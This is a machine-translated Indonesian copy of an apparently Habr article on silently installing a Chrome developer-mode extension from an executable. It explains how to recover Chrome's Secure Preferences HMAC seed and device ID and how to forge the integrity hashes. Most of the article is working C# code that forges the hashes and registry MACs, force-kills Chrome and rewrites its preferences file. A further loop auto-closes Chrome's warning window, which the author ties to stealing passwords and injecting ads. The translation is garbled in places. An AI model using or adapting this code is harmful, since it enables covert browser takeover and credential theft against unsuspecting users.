Chrome terbalik dan pemasangan ekstensi



Selamat siang, pembaca yang budiman! Chrome diperbarui, tetapi tidak ada artikel baru tentang cara menginstal ekstensi secara terprogram di chrome, selain - load-extension - tetapi ini bukan pilihan kami, karena kami tidak mencari cara yang mudah. Hari ini saya akan memberi tahu Anda bagaimana sangat mungkin untuk mendapatkan semuanya dengan satu exe-shnik: kata sandi, ubah konten, cara mencuri, dll. - tapi ini bukan ajakan untuk bertindak , tetapi hanya sebuah artikel untuk ditinjau. Semua jus di bawah luka.

Jadi, apa yang memungkinkan kita melakukan ekstensi dalam mode pengembang? Yah, seperti ekstensi reguler, ini dapat berfungsi di semua situs, dan, misalnya, memecahkan kata sandi, mengimplementasikan iklan, dan sebagainya. Tetapi ekstensi dalam mode pengembang memberikan akses ke fitur lain, yang tampaknya tidak terlalu penting, tetapi dapat berguna: kita memiliki akses ke sistem file. Ya, kami akan meluncurkan exploit ini dari file exe dan, pada prinsipnya, kami tidak benar-benar membutuhkannya, tetapi bagaimana jika?

Kami menganalisis file


Jadi, sebagai permulaan, Anda dapat melihat file mana yang akan berbeda setelah menginstal ekstensi, kita dapat menemukan bahwa itu adalah% appdata% \ .. \ Lokal \ Google \ Chrome \ Data Pengguna \ <profil> \ Preferensi Aman. Ayo salin isinya, hapus ekstensi dan kembalikan salinannya - bam di sini! dan ekspansi berfungsi lagi. Melihat ID, Anda dapat melihat bahwa dua nilai berubah dengan kunci ini: extensions.settings.id dan protection.macs.extensions.settings.id - yang pertama adalah pengaturan, yang kedua adalah semacam hash. Kami naik ke jenis dan melihat - ini adalah HMAC SHA256. Tapi dari mana dia mendapatkannya? Mari masuk ke debugger, lampirkan ke chrome dan muat simbol dari
https://chromium-browser-symsrv.commondatastorage.googleapis.com

Pemerkosaan krom


Wow! Kami menemukan file pref_hash_calculator.cc, unduh, atur break on

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

Op - kami mendapatkan seed_ - kunci untuk HMAC, dan kami juga menemukan bahwa ia menggabungkan tiga baris dan mengambil hasilnya sebagai HMACSHA256 (device_id + jalur + nilai, seed_). Oke, mari kita lihat seed_ kita - dan di sini chagrin pertama menunggu kita: itu hanya baris "ChromeRegistryHashStoreValidationSeed" - tanyakan, ada apa dengan itu? Dan mari kita lihat hasil perhitungan, bandingkan hash dan hash yang dihasilkan dalam file di sepanjang jalur ini - kami kecewa, tapi tidak! Kata kuncinya di dalam kuncinya adalah "Registry", kita naik ke dalam registri, lihat - dan memang, ini adalah kunci untuk hash dalam registri, kita akan membutuhkannya.

Mendebit, merendahkan, dan di mana saja hanya kunci ini, apa yang salah? Sekarang mari kita lihat berapa lama kunci standar untuk HMACSHA256 seharusnya? 64 byte, dan kemungkinan besar ini bukan garis, tetapi semacam byte. Menyortir? Tidak punya waktu! Asumsi pertama - seed_ kami hardcoded di setiap versi chrome - mari kita coba untuk memilah-milah semua opsi untuk 64x byte berturut-turut dalam file biner dan chrome. Kami menulis skrip sederhana dan dalam sekitar satu jam kami mendapatkan hasil pertama: seed_ kami terletak pada resources.pak. Mari kita google strukturnya.



Versi 4, milik kita 5. Ada yang salah, mungkin strukturnya belum berubah? Tapi tidak. Setelah beberapa upaya, kami mendapatkan bahwa strukturnya adalah sebagai berikut: 4 byte versi (5), 4 byte - encoding? (1), 2 byte - jumlah rekaman, 2 byte tidak jelas apa. Berikutnya adalah entri dalam format: 2 byte - ID, 4 byte - diimbangi relatif terhadap awal file. Kami mencari bagian dengan panjang 64 byte - dan ya, kami menemukannya, ini seed_ kami. Sekarang mari kita menulis fungsi untuk mencari seed_ di resources.pak untuk file versi 4 dan 5:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

Oke, mari kita ubah pengaturan, dan coba ganti hash - kegagalan. Hal pertama yang dapat ditemukan dalam jenis krom adalah bahwa semua objek kosong dihapus dari nilai. Oke, katanya - dilakukan.

Sekali lagi kegagalan - kita perlu menghasilkan HMACSHA256 yang sama dari proteksi.macs juga, jalur dalam kasus ini harus dihilangkan. Hebat! Diterima Tapi, kami benar-benar lupa tentang device_id - di mana saya bisa mendapatkannya? Dalam versi yang lebih lama, ini adalah MachineID dari beberapa pustaka RLZ pihak ketiga. Di yang baru, hanya SID dari PC. Bagaimana cara mendapatkannya? Untuk opsi kedua dan versi baru chrome:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

Dan, untuk versi lama:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

Jadi, tetap mengolok-olok pengaturan dan menyimpan file, tetapi menutup chrome:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

Juga, perhatikan bahwa sekarang ketika Anda membuka browser, jendela "Menonaktifkan Ekstensi dalam Mode Pengembang" terbuka - cara menutupnya sudah menjadi pilihan semua orang. Bagaimana saya bisa meninggalkan aliran setelah saya yang akan menutup jendela ini melalui WinAPI:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

Semoga berhasil dan peretasan etis! Siapa yang tahu bagaimana melakukan hal yang sama dengan Yandex Browser - akan sangat menarik untuk mengetahui jika saya sudah mencoba untuk mengambilnya selama seminggu sekarang, itu tidak berfungsi.

Source: https://habr.com/ru/post/id438898/


All Articles